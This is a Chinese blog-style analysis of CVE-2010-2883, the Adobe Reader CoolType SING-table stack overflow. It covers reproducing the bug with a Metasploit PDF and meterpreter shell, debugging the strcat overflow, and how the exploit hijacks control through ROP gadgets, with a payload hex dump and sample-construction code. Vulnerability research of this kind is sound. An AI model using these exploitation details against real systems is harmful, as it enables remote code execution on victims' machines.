1、这个漏洞是《漏洞战争》中的例子,也要学着去分析分析实际的漏洞了。
2、CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。
3、用户受骗打开了特制的PDF文件就有可能导致执行任意代码。
- 更新:2020.10.6,也算是重新分析了一遍吧,又收获了很多。这次分析,主要修正了第一次分析中的错误和不足。文章结构有较大变化。更新了动态调试部分,漏洞利用触发的具体原因,以及漏洞利用的具体细节。
0x00 漏洞描述
  Adobe Reader和Acrobat都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的PDF文件阅读器,Acrobat是一款PDF文件编辑和转换工具。基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段uniqueName的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。
0x10 分析环境
| 使用的环境 | 备注 | |
|---|---|---|
| 操作系统 | Windows XP Professional SP3 | 简体中文版 | 
| 虚拟机 | VMware Workstation Pro | 版本号:12.5.8 | 
| 调试器 | OllyDbg | 吾爱破解OllyDbg | 
| 反汇编器 | IDA Pro | 版本号:7.0 | 
| 漏洞软件 | Adobe Reader | 版本号:9.3.4 | 
0x20 漏洞复现
这里用msf来生成用于漏洞利用的exploit样本文件。
0x21 生成exploit样本文件
| 1 | 1、弹出计算器 | 
  执行完上面的命令可以在/root/.msf4/local/下找到用于exploit的样本文件。然后将样本文件复制到目标主机中。再在kali下进行监听,在windows XP SP3下通过Adobe Reader打开CVE-2010-2883(shell).pdf,获得meterpreter session,从而获得shell。
0x22 反弹shell
| 1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > back | 
0x30 漏洞原理分析
0x31 PDF文件格式
  可移植文档格式(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克提出的名为“Camelot”的系统演变成PDF。PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台的,和操作系统无关。
  PDF文档是一种文本和二进制混排的格式,它由以下四部分组成:
header:头部,PDF文件的第一行,用以标识PDF文档的版本。通常格式为%PDF-x.y,PDF版本历经了1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0多个版本。
body:PDF的主体部分,包含PDF文档的主题内容,各部分以对象的方式呈现。
xref table:交叉引用表,通过交叉引用表可以快速的找到PDF文档中的各对象。每一个对象在交叉引用表中占据一项。
trailer:PDF文档尾,包含交叉引用的摘要和交叉引用表的起始位置。
  PDF文档中包含字体对象,而本篇文章所讲述的漏洞就是发生在PDF阅读器对于字体解析过程中,未对字体对象中所包含的SING表的uniqueName字段进行长度校验,导致了栈溢出漏洞的发生。下面是我通过PdfStreamDumper读出来的一些PDF的内容:
| 1 | %PDF-1.5 //此PDF文档符合PDF1.5规范 | 
TTF表目录头结构如下:
| 1 | 表目录头 | 
sfnt version:0x00010000(sfnt-1.0)
numTables:0x0011(Dec:17) 有17个表
searchRange:0x0100
entrySelector:0x0004
rangeShift:0x0010
TTF表目录项结构如下:
0x32 SING表结构
  SING技术是Adobe公司推出的针对“外字”(Gaiji)的解决方案,外字是日语中的意思,中文中就是生僻字的意思。SING允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这种格式通过Adobe公开的,且基于OpenType。SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含SING字符的文件也是可携带的,而又不会字符乱码、异常显示。SING表结构文档真的不好找,一篇博客中说可以在这里Adobe Glyphlet Development Kit (GDK) for SING Gaiji Architecture下载到一个名叫GlyDevKit.zip的压缩包,压缩包中的Gaiji SING Glyphlet spec.pdf文档中记录了有关SING表的一些规范,但是,可能由于时间问题,Adobe官网已经下载不到这个压缩包了,还好有关漏洞部分的内容,他的博客中已经提到。还可以在这里找到,Adobe Font Development Kit for OpenType。
SING表目录项的定义如下:
| 1 | typedef struct_SING | 
| 1 | 000000e0: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:...,... SING | 
下表列出了TrueType字体中常见的表:
| 1 | head 字体头 字体的全局信息 | 
SING表内容的数据结构如下图所示:

上面在分析PDF内容的时候已经将SING表和SING表目录项标出来了。
0x33 漏洞触发
1、静态分析
用IDA打开CoolType.dll库,Shift+F12打开String窗口,搜索"SING"
| 1 | .rdata:0819CE34 0000000C C quotesingle | 
双击上面的第三个条目,跳转到下面所示位置:
| 1 | .rdata:0819DB4C ; char aSing[] | 
用鼠标点击aString[],Ctrl+x查看交叉引用
| 1 | Direction Type Address Text | 
  双击这条就可以定位到解析存在漏洞的地方。下面就是CoolType库对SING表的解析代码,当uniqueName字段为超长字符串时,执行strcat()前未对其长度进行检测,执行strcat()后,会将该字段复制到固定大小的栈空间,最终导致栈溢出。
| 1 | .text:0803DCF9 push ebp ; 父函数ebp | 
2、动态调试
2.1、sub_8021B06()函数的作用
- 1、打开Adobe Reader,再打开OllyDbg,
attach上Adobe Reader进程。- 2、在
0x0803DD74下断点,运行程序。- 3、观察传入的
参数值,及其内存状态。
| 1 | 1、函数执行前 | 
  我们可以看到sub_8021B06()函数有三个参数,第一个参数是this指针,其值为PDF中对象10在内存中的首地址,也就是字体对象的指针。第二个参数edi是sub_80DD0B3()函数ebp处的一个类对象的指针,其第一个成员变量的值为dword_823A850被加1前的值(dword_823A850在sub_8024217函数中被加1),也就是0。第三个参数是“SING”字符串,sub_8021B06()函数通过在字体对象中匹配“SING”字符串,来获得“SING”表目录项,从而获得“SING”表数据的地址。所以,我们可以推测sub_8021B06()函数的功能为求出“SING”表数据在内存中的地址。
  我们再来看一下参数edi中的值是什么,虽然其值可能不会影响我们的判断,但是为了从中学到更多的东西,还是来看一下吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
1131、sub_8021B06()参数回溯,edi就是调用sub_8021B06()函数时传入的a1.
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
    |    |    |  
    ↓    ↓    ↓
//value1_823A850变量的地址为ebp=0x0012E718
sub_80151B5(&value1_823A850);                 // 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
    |    |    |  
    ↓    ↓    ↓
// 返回dword_823A850加1之前的值
value_823A850 = sub_8024217(&stru_823A838, 0);// this传参,_RTL_CRITICAL_SECTION结构体对象
value1_823A850 = value_823A850;
    ↑    ↑    ↑
    |    |    |
v23 = sub_803DCF9((int)&value1_823A850, &v9, 0, (int)&v22) == 0;
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
    ↑    ↑    ↑
    |    |    |
sub_8021B06(&v18, a1, "SING");
2、sub_80151B5()函数的内容.
_DWORD *__thiscall sub_80151B5(_DWORD *this)
{
  _DWORD *v1; // esi
  int v2; // edx v2=0/edx:xor edx,edx
  v1 = this;
  *this = 0;
  this[1] = 0;
  this[2] = 0;
  this[3] = 0;
  this[4] = 0;
  sub_801512D(this + 5);                        // 对象(0x0012E72C)的构造函数
  v1[15] = v2;
  v1[16] = v2;
  *((_BYTE *)v1 + 68) = v2;                     // v[17]的第一个字节设为0
  v1[18] = v2;
  v1[19] = v2;
  v1[20] = v2;
  v1[21] = v2;
  v1[22] = v2;
  v1[23] = v2;
  v1[49] = -1;
  *((_BYTE *)v1 + 188) = v2;                    // v1[47]的第一个字节设为0
  v1[48] = v2;
  *((_BYTE *)v1 + 200) = v2;                    // v1[50]的第一个字节设为0
  memset(v1 + 24, v2, 92u);                     // 从第24dword开始,后23个dword设为0
  return v1;
}
/*
对象(0x0012E718)的内存布局(初始):
0x0012E718 *this = 0   -|
0x0012E71C this[1] = 0  |
0x0012E720 this[2] = 0  | {sub_80151B5}
0x0012E724 this[3] = 0  |
0x0012E728 this[4] = 0 -|
0x0012E72C *this = 0 -------------------| 0x0012E72C-0x0012E750,应该也是一个对象
0x0012E730 0x049517D8                   | [0x049517D8]=0x08190108,const BIB_T_MT::BIBVTabGeneric::`vftable'
0x0012E734 this[2] = 0 -----------------|
0x0012E738 this[3] = 0 -----------------| {sub_801512D}
0x0012E73C                              | 0012E73C   01E79BA0  ASCII "BIBDataStoreGetBlockProcV2"
0x0012E740 this[5] = 0 -----------------|
0x0012E744 this[6] = 0 -----------------|
0x0012E748 this[7] = 0 -----------------|
0x0012E74C this[8] = sub_80833EF -------|
0x0012E750 result[9] = result = this ---| 0x0012E72C
0x0012E754 v1[15] = v2 = 0 ----------------| 
0x0012E758 v1[16] = v2 = 0 ----------------|
0x0012E75C *((_BYTE *)v1 + 68) = v2 = 0; --| 0012E75C   0804AA00  返回到 CoolType.0804AA00
0x0012E760 v1[18] = v2 = 0 ----------------| 
0x0012E764 v1[19] = v2 = 0 ----------------| {sub_80151B5}
0x0012E768 v1[20] = v2 = 0 ----------------|
0x0012E76C v1[21] = v2 = 0 ----------------|
0x0012E770 v1[22] = v2 = 0 ----------------|
0x0012E774 v1[23] = v2 = 0 ----------------|
0x0012E778 - 0x0012E7D4 v1[24]~v1[46] = v2 = 0 --| memset(v1 + 24, v2, 92u);
0x0012E7D4 *((_BYTE *)v1 + 188) = v2 = 0 --------| 0012E7D4   02A93200   
0x0012E7D8 v1[48] = v2 = 0 ----------------------| {sub_80151B5}                     
0x0012E7DC                                       | 0012E7DC   FFFFFFFF
0x0012E7E0 *((_BYTE *)v1 + 200) = v2 = 0 --------| 0012E7E0   02A93200
*/
3、sub_8024217()函数的内容.
value_823A850 = sub_8024217(&stru_823A838, 0);
.data:0823A838 stru_823A838    _RTL_CRITICAL_SECTION <?>
.data:0823A838                                         ; DATA XREF: sub_80252EC+104↑o
.data:0823A838                                         ; sub_809C3A4+1B9↑o ...
.data:0823A850 dword_823A850   dd ?                    ; DATA XREF: sub_818DB2A+B↑w
.data:0823A854                 align 8
struct RTL_CRITICAL_SECTION {
    PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
    LONG LockCount;
    LONG RecursionCount;
    HANDLE OwningThread;
    HANDLE LockSemaphore;
    ULONG_PTR SpinCount;
};大小为4*6 = 24 = 0x18h字节
_RTL_CRITICAL_SECTION_DEBUG *__thiscall sub_8024217(LPCRITICAL_SECTION lpCriticalSection, int a2)
{
  int lpCriticalSection1; // esi
  int v3; // edi
  lpCriticalSection1 = (int)lpCriticalSection;
  EnterCriticalSection(lpCriticalSection);      // 进入临界区
  v3 = *(_DWORD *)(lpCriticalSection1 + 24);    // v3为全局变量dword_823A850的值,其初始值为0.
  *(_DWORD *)(lpCriticalSection1 + 24) = v3 + 1;// dword_823A850=dword_823A850+1=1
  LeaveCriticalSection((LPCRITICAL_SECTION)lpCriticalSection1);
  return v3;     // 返回加1之前的值
}
  thiscall是C++中特有的调用约定,用于成员函数的调用。根据上面给出的sub_80151B5()函数的伪代码,可以看出此函数返回了this指针,并且此函数也是sub_80DD0B3()函数中定义的对象(0x0012E718)在作用域内调用的第一个成员函数,sub_80151B5()函数中使用this指针对其成员变量赋初值。这些都是一个构造函数拥有的特征。
  通过上面的分析,我们可以知道sub_8021B06()的第二个参数a1为对象(0x0012E718)的指针,其第一个成员变量的值为0。
2.2、strcat()函数溢出分析
  通过上面的静态分析,我们可以知道程序执行完sub_8021B06()函数后,得到了SING表数据的地址。首先程序对SING表数据的“tableVersionMajor”字段和“tableVersionMinor”字段进行了判断,满足条件后,才会执行strcat()函数,将构造的“uniqueName”字段内容复制到栈上。1
2
3
4
5
6
7
8
9
10.text:0803DD82      mov     eax, [ebp+108h+var_12C] ; eax指向SING表数据,eax=[ebp-0x24]=[0x0012E4B4]=0x04960104
.text:0803DD85      cmp     eax, esi                ; 判断是否为空,esi为0
.text:0803DD85
.text:0803DD87      mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B      jz      short loc_803DDC4 ; 这里不跳转
.text:0803DD8D      mov     ecx, [eax]        ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F      and     ecx, 0FFFFh
.text:0803DD95      jz      short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97      cmp     ecx, 100h
.text:0803DD9D      jnz     short loc_803DDC0
  这里有两种情况都满足要求,第一种,以小端序读出的版本号形如:0x????0000。也就是SING表的“tableVersionMajor”字段为0,“tableVersionMinor”字段没有要求,版本号为0.x。第二种,以小端序读出的版本号形如:0x????0100。也就是SING表的“tableVersionMajor”字段为1,“tableVersionMinor”字段没有要求,版本号为1.x。样本中使用的是第一种。
样本生成脚本中关于这部分的构造如下:1
2
3
4
5
6
7
8
9
10sing = ''
sing << [
    0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
    0xe01,  # glyphletVersion
    0x100,  # embeddingInfo
    0,      # mainGID
    0,      # unitsPerEm
    0,      # vertAdvance
    0x3a00  # vertOrigin
].pack('vvvvvvvv') # 把两个字符当作 little-endian 字节顺序的无符号的 short。
  接下来,我们分析“uniqueName”字段复制到栈上的位置,以及长度。
- 1、打开Adobe Reader,再打开OllyDbg,
attach上Adobe Reader进程。- 2、在
0x0803DD9F下断点,运行程序。- 3、观察传入的
参数值,及其内存状态。
| 1 | eax = 0x04960104(SING表数据入口地址) | 
复制到栈上的数据长度:0x0012E718 - 0x0012E4D8 = 0x2401
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
390012E4D8  F1 B9 F1 F4 75 62 82 1D 14 A7 82 4A 0C 0C 0C 0C  窆耵ub?J....
0012E4E8  AC 86 F7 B5 ED 50 17 29 5C 12 8D 01 4E 51 05 0E  瑔鞯鞵)\?NQ
0012E4F8  E7 CC BC CA 6B 02 ED 81 13 36 AD 5E 45 85 DC 7D  缣际k韥6璣E呠}
0012E508  DB C2 4B 84 E8 67 8A 92 74 90 C8 3D 03 65 FE 80  勐K勮g姃t惾=e
0012E518  4E E7 C7 42 89 8B DA 08 91 71 7A 3D 83 8E BD 60  N缜B墜?憅z=儙絗
0012E528  AB 8F FA 53 8E F2 15 70 D8 66 BB A0 24 09 05 CD  珡鶶庲p豧粻$.
0012E538  E6 10 AE B9 B2 E0 B8 40 91 36 FC 66 8B 7B BE C2  ?侧窣?黤媨韭
0012E548  65 24 37 DA 2B 2C FC FA 04 89 92 95 B5 3A 22 FE  e$7?,墥暤:"
0012E558  44 BA 47 90 BD 17 78 9A 86 A8 CC 2A B1 0B FA 8F  D篏惤x殕ㄌ*?鷱
0012E568  54 C7 4B 6D BF 1A 47 1D 33 0D 72 DC D3 8E 1E FC  T荎m?G3.r苡?
0012E578  7E 2D 41 FE B2 7D 0C 3A 1A BE 1D F7 DC 35 59 BD  ~-A}.:?鬈5Y
0012E588  5A C3 06 67 E3 6F FC D5 49 3B 3E 1B 4D FC 6E 8C  Z?g鉶I;>M黱
0012E598  5D E4 7B BA 86 8C AC A7 11 F3 B2 43 A1 0B 04 B4  ]鋥簡尙?蟛C?
0012E5A8  30 71 3F A9 3A CC CF E0 B3 15 35 39 BC F9 6F 9C  0q??滔喑59践o
0012E5B8  E4 0C 84 72 70 90 64 0A 53 E3 A4 65 BB C6 19 85  ?剅p恉.S悚e黄
0012E5C8  BA 6D 04 8D BE EF 3A 1F 4C 0D FD E0 29 BD FC 77  簃嵕?L.)近w
0012E5D8  CD F3 41 98 0D AD D7 3B 92 48 A6 BB B7 8C C9 F5  腕A?;扝穼甚
0012E5E8  71 7A 72 69 54 32 60 80 8D 9C 16 24 81 B8 C0 32  qzriT2`€崪$伕?
0012E5F8  2D 44 17 5A 06 6D 75 0F 77 9E CF 67 F4 23 2C 2B  -DZmuw炏g?,+
0012E608  C6 08 8A 4A E2 2F 63 30 39 85 30 38 40 55 FA 3B  ?奐?c09?8@U?
0012E618  DB DD 44 05 9D BE 81 73 DD F3 CA 9A 4D 02 F0 EF  圯D澗乻蒹蕷M痫
0012E628  05 A9 10 F7 05 69 C6 B4 DF 84 4A 6D 3C 85 6E D9  ??i拼邉Jm<卬
0012E638  3A 29 D3 E4 44 95 96 E3 C0 3E 0F FA 45 5E D1 40  :)愉D晼憷>鶨^袬
0012E648  DB BB AB 23 BA FF 42 8D 8A 05 D1 84 8A AE E5 5B  刍??B崐褎姰錥
0012E658  F1 E7 94 85 95 20 E5 41 6B 95 CD 72 6D 8B EE D6  耒攨?錋k曂rm嬵
0012E668  19 8C BF FB BC 64 17 7F E7 A4 70 F7 94 E3 A7 3B  尶d绀p鲾悃;
0012E678  5B 69 A1 F4 7F 20 11 02 58 4F 24 FD 38 70 A3 97  [i◆ XO$?p
0012E688  62 2C FA 58 E6 C2 D6 B5 04 80 EC 82 FC 05 80 D1  b,鶻媛值€靷?€
0012E698  93 0B CB 63 38 F7 B9 90 F0 8B D3 F8 91 96 7A C7  ?薱8鞴愷嬘鴳杬
0012E6A8  37 24 37 4E 99 84 6C 40 DF 84 A2 97 17 7B 6F 59  7$7N檮l@邉{oY
0012E6B8  51 51 9C 7A 50 DA 1B 08 7E ED 73 8B D9 B9 53 9B  QQ渮P?~韘嬞筍
0012E6C8  29 59 F1 FD A6 38 DF 49 38 CB 80 4A E3 A6 2C CA  )Y颀?逫8藔J悝,
0012E6D8  2B 0C 6B E0 A5 48 43 D2 F3 77 1C 91 82 C7 40 59  +.k啷HC殷w憘茾Y
0012E6E8  5F 6C C6 02 59 D4 BA AE 32 F9 41 9A FF 07 28 4D  _l?Y院?鵄?(M
0012E6F8  28 73 33 DA D4 69 D1 F3 E6 85 2B D1 76 90 FF 6C  (s3谠i洋鎱+裿?l
0012E708  28 F3 A4 34 AB 2F 57 AE 1B C7 A5 1D 6C 00 00 00  (螭4?W?钎l...
0012E718  00 00 00 00 6D 00 00 00 01 00 00 00 01 00 00 00  ....m.........
0012E728  00 00 00 00 F8 B1 13 02 A0 38 96 04 EC 26 00 00  ....???..
2.3、触发过程
  我们从metasploit的漏洞利用代码中可以知道SING表的数据主要是构造了一个ROP链,用于控制EIP最终跳转到堆喷的真正的用于绕过DEP的ROP Chain处。从代码注释中可知,第一个ROPgadget位于icucnv36.dll中的0x4A80CB38处,第二个ROPgadget位于icucnv36.dll中的0x4A82A714处。这部分后面会介绍,为什么选用这两个地址呢?因为在Adobe Reader的各个版本上,这个dll的这两处地址是始终不变的,从而保证了exploit对于各版本的兼容性和稳定性。
- 1、打开Adobe Reader,再打开OllyDbg,
attach上Adobe Reader进程。- 2、在
0x4A80CB38下断点,运行程序。- 3、当运行到
0x4A80CB38地址处时,我们查看栈,看到返回地址为0x0808B30A,可以知道调用者的位置就在其上一条指令处,0x0808B308处的call dword ptr [eax]指令。- 4、我们再对这段
ROPgadget的调用地址0x0808B308下断点,并且通过ollydbg的反汇编窗口找到此调用者函数的父函数sub_808B116(),再下断点0x0808B116。- 5、我们再在
堆栈窗口中寻找sub_808B116()的返回地址,查看其返回地址是否在调用strcat()函数的父函数sub_803DCF9()的地址范围中,若是,栈回溯结束。如不是,继续向下寻找。
  也许有些返回地址在堆栈窗口中只是显示为返回到 CoolType.xxxxxxxx,并没显示是哪个函数的返回地址。这是因为这个返回地址所属的函数的地址是存放在内存中的某个位置或在寄存器中,指令格式call r/m32。通常函数调用使用的是指令格式为call rel32,其操作数为函数地址相对当前调用指令的下一条指令地址的偏移,以补码表示。
程序控制流劫持过程分析:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189********************************************************************
    char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
********************************************************************
.text:0803DCF9      push    ebp                         ; ebp=0x0012E718
.text:0803DCFA      sub     esp, 104h                   ; esp=0x0012E4DC
.text:0803DD00      lea     ebp, [esp-4]                ; ebp=0x0012E4D8
.text:0803DD04      mov     eax, ___security_cookie     ; eax=0x98C49E84
.text:0803DD09      xor     eax, ebp                    ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B      mov     [ebp+108h+var_4], eax       ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11      push    4Ch                         ; __EH_prolog3_catch函数中分配栈空间大小
.text:0803DD13      mov     eax, offset loc_8184A54     ; __security_check_cookie函数地址
.text:0803DD18      call    __EH_prolog3_catch          ; 向栈上写入SEH结构
.text:0803DD1D      mov     eax, [ebp+108h+arg_C]       ; eax=[0x0012E4D8+0x11c]=[0x0012E5F4]=0x0012E700,eax = a4
.text:0803DD23      mov     edi, [ebp+108h+arg_0]       ; edi=[0x0012E4D8+0x110]=[0x0012E5E8]=0x0012E718,edi = a1 <------对象(0x0012E718)的指针
.text:0803DD29      mov     ebx, [ebp+108h+arg_4]       ; ebx=[0x0012E4D8+0x114]=[0x0012E5EC]=0x0012E608,ebx = a2 对象(0x0012E608)的指针
........
.text:0803DDAB      call    strcat                      ; 调用strcat函数,造成溢出
.text:0803DDB0      pop     ecx
.text:0803DDB1      pop     ecx
.text:0803DDB2      lea     eax, [ebp+108h+uniqueName_buf] ; eax=0x0012E4D8,为uniqueName缓冲区地址
.text:0803DDB5      push    eax
.text:0803DDB6      mov     ecx, ebx                    ; ecx=ebx=0x0012E608,对象(0x0012E608)的指针,第一个成员变量原来是0,可以直接跳过sub_8001243()的一段代码,但是我们构造的uniqueName不能将这里构造为0x0,会造成截断,其内容+0x1c必须为一个可访问的地址,使得程序可以顺利执行通过第一个成员变量为0时跳过的那段代码。
.text:0803DDB8      call    sub_8001243
.text:0803DDBD      mov     eax, [ebp+108h+var_12C]     ; eax指向SING表数据
.text:0803DDC0
.text:0803DDC0 loc_803DDC0:                            
.text:0803DDC0      mov     [ebp+108h+var_119], 1
.text:0803DDC4
.text:0803DDC4 loc_803DDC4:                            
.text:0803DDC4      cmp     eax, esi
.text:0803DDC6      mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DDCA      jz      short loc_803DDD3
.text:0803DDCC      push    eax
.text:0803DDCD      call    sub_80418BF
.text:0803DDD2      pop     ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3:                           
.text:0803DDD3      cmp     [ebp+108h+var_119], 0
.text:0803DDD7      jnz     loc_803DEA9
......
.text:0803DEA9 loc_803DEA9:                           
.text:0803DEA9                                         
.text:0803DEA9      lea     eax, [ebp+108h+var_124]     ;   eax=ebp-0x1c=0x0012E4BC, ebp=0x0012E4D8
.text:0803DEAC      push    eax                         ; arg3: eax=0x0012E4BC
.text:0803DEAD      push    ebx                         ; arg2: ebx=0x0012E608 对象(0x0012E608)的指针
.text:0803DEAE      push    edi                         ; arg1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0803DEAF      call    sub_8016BDE
    |    |    |  
    ↓    ↓    ↓
********************************************************************
        char __cdecl sub_8016BDE(int a1, int a2, int a3)
********************************************************************                    
.text:08016BDE      push    ebp                         ; ebp=0x0012E4D8
.text:08016BDF      sub     esp, 660h                   ; esp=esp-0x660=0x0012DDFC,之前esp=0x0012E45C
.text:08016BE5      lea     ebp, [esp-4]                ; ebp=esp-4=0x0012DDF8
.text:08016BE9      mov     eax, ___security_cookie
.text:08016BEE      xor     eax, ebp
.text:08016BF0      mov     [ebp+664h+var_4], eax
.text:08016BF6      push    50h
.text:08016BF8      mov     eax, offset loc_8175D32
.text:08016BFD      call    __EH_prolog3_catch
.text:08016C02      mov     eax, [ebp+664h+arg_8]       ; eax=[ebp+0x674]=[0x0012E46C]=0x0012E4BC, eax=a3
.text:08016C08      mov     esi, [ebp+664h+arg_4]       ; esi=[ebp+0x670]=[0x0012E468]=0x0012E608, esi=a2,对象(0x0012E608)的指针
.text:08016C0E      mov     edi, [ebp+664h+arg_0]       ; edi=[ebp+0x66c]=[0x0012E464]=0x0012E718,ebp=0x0012DDF8 <------ edi = a1,对象(0x0012E718)的指针
.text:08016C14      mov     [ebp+664h+var_6BC], eax
.text:08016C17      mov     eax, offset CriticalSection ; eax=0x0823A650,_RTL_CRITICAL_SECTION结构体对象指针
.text:08016C1C      push    eax                         ; lpCriticalSection
.text:08016C1D      mov     [ebp+664h+var_680], esi
.text:08016C20      mov     [ebp+664h+var_6C0], eax
.text:08016C23      call    ds:EnterCriticalSection     ; 执行完 eax=0
.text:08016C29      xor     ebx, ebx                    ; ebx=0
.text:08016C2B      push    edi
.text:08016C2C      mov     [ebp+664h+var_668], ebx
.text:08016C2F      mov     [ebp+664h+var_694], ebx
.text:08016C32      mov     [ebp+664h+var_678], ebx
.text:08016C35      call    sub_801BB1C                 ; 执行完 eax=0x01F347B8,为StreamHandler类对象,内存第一个双字为虚表指针,0x081A601C
.text:08016C3A      cmp     eax, ebx
.text:08016C3C      pop     ecx
.text:08016C3D      mov     [ebp+664h+var_67C], eax     ; eax=0x01F347B8,为StreamHandler类对象
.text:08016C40      jz      loc_80172CE                 ; 不跳转
.text:08016C46      push    1                           ; arg7: 1
.text:08016C48      push    ebx                         ; arg6: 0x00000000
.text:08016C49      push    ebx                         ; arg5: 0x00000000
.text:08016C4A      lea     eax, [ebp+664h+var_678]     ;   eax=[ebp-0x14]=0x0012DDE4,ebp=0x0012DDF8
.text:08016C4D      push    eax                         ; arg4: eax=0x0012DDE4
.text:08016C4E      lea     eax, [ebp+664h+var_694]     ;   eax=[ebp-0x30]=0x0012DDC8,ebp=0x0012DDF8
.text:08016C51      push    eax                         ; arg3: eax=0x0012DDC8
.text:08016C52      push    edi                         ; arg2<-a1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:08016C53      push    [ebp+664h+var_67C]          ; arg1: [ebp-0x18]=[0x0012DDE0]=0x01F347B8 
.text:08016C56      call    sub_801BB21
                                               esp -->  0012DD6C   08016C5B  ; 返回到 CoolType.08016C5B 来自 CoolType.0801BB21
                                                        0012DD70   01F347B8  ; arg1: StreamHandler类对象地址
                                                        0012DD74   0012E718  ; arg2: 对象(0x0012E718)的指针
                                                        0012DD78   0012DDC8  ; arg3
                                                        0012DD7C   0012DDE4  ; arg4
                                                        0012DD80   00000000  ; arg5
                                                        0012DD84   00000000  ; arg6
                                                        0012DD88   00000001  ; arg7
StreamHandler类对象内存:
;01F347B8  1C 60 1A 08 6D 00 00 00 00 00 00 00 84 90 13 02  `m.......剱
;01F347C8  00 00 00 00 00 00 00 00 6D 00 00 00 01 00 00 00  ........m......
;01F347D8  01 00 00 00 00 00 00 00 00 00 00 00 50 A6 23 08  ...........P?
;01F347E8  00 00 00 00 00 00 00 00 1C 01 00 00 00 00 00 00  ..............
;01F347F8  00 00 00 00 00 00 00 00 EF 33 08 08 E0 47 F3 01  ........?郍?
;01F34808  00 48 F3 01 00 00 00 00 00 00 00 00 00 00 00 00  .H?............
    |    |    |  
    ↓    ↓    ↓
*****************************************************************************************************************************
功能: 找到虚函数地址并调用
int __cdecl sub_801BB21(int (__stdcall ***a1)(int, int, int, int, int, int), int a2, int a3, int a4, int a5, int a6, int a7)
*****************************************************************************************************************************
.text:0801BB21      push    ebp                     ;   ebp=0x0012DDF8
.text:0801BB22      mov     ebp, esp                ;   ebp=esp=0x0012DD68
.text:0801BB24      push    [ebp+arg_18]            ; arg6<-a7: [ebp+0x20]=[0x0012DD88]=0x01
.text:0801BB27      mov     ecx, [ebp+arg_0]        ; this<-a1: ecx=[ebp+0x8]=[0x0012DD670]=0x01F347B8(StreamHandler类对象地址)
.text:0801BB2A      push    [ebp+arg_14]            ; arg5<-a6: [ebp+0x1c]=[0x0012DD84]=0x00000000
.text:0801BB2D      mov     eax, [ecx]              ;   eax=[ecx]=[0x01F347B8]=0x081A601C(虚表指针)
.text:0801BB2F      push    [ebp+arg_10]            ; arg4<-a5: [ebp+0x18]=[0x0012DD80]=0x00000000
.text:0801BB32      inc     dword_823A6A0           ;   [0x0823A6A0]=0x0->0x1
.text:0801BB38      push    [ebp+arg_C]             ; arg3<-a4: [ebp+0x14]=[0x0012DD7C]=0x0012DDE4
.text:0801BB3B      push    [ebp+arg_8]             ; arg2<-a3: [ebp+0x10]=[0x0012DD78]=0x0012DDC8
.text:0801BB3E      push    [ebp+arg_4]             ; arg1<-a2: [ebp+0xC]=[0x0012DD74]=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0801BB41      call    dword ptr [eax]         ;   [eax]=0x808B116(StreamHandler类虚函数)
                                           esp -->  0012DD4C  0801BB43  返回到 CoolType.0801BB43
                                                    0012DD50  0012E718  arg1 对象(0x0012E718)的指针
                                                    0012DD54  0012DDC8  arg2
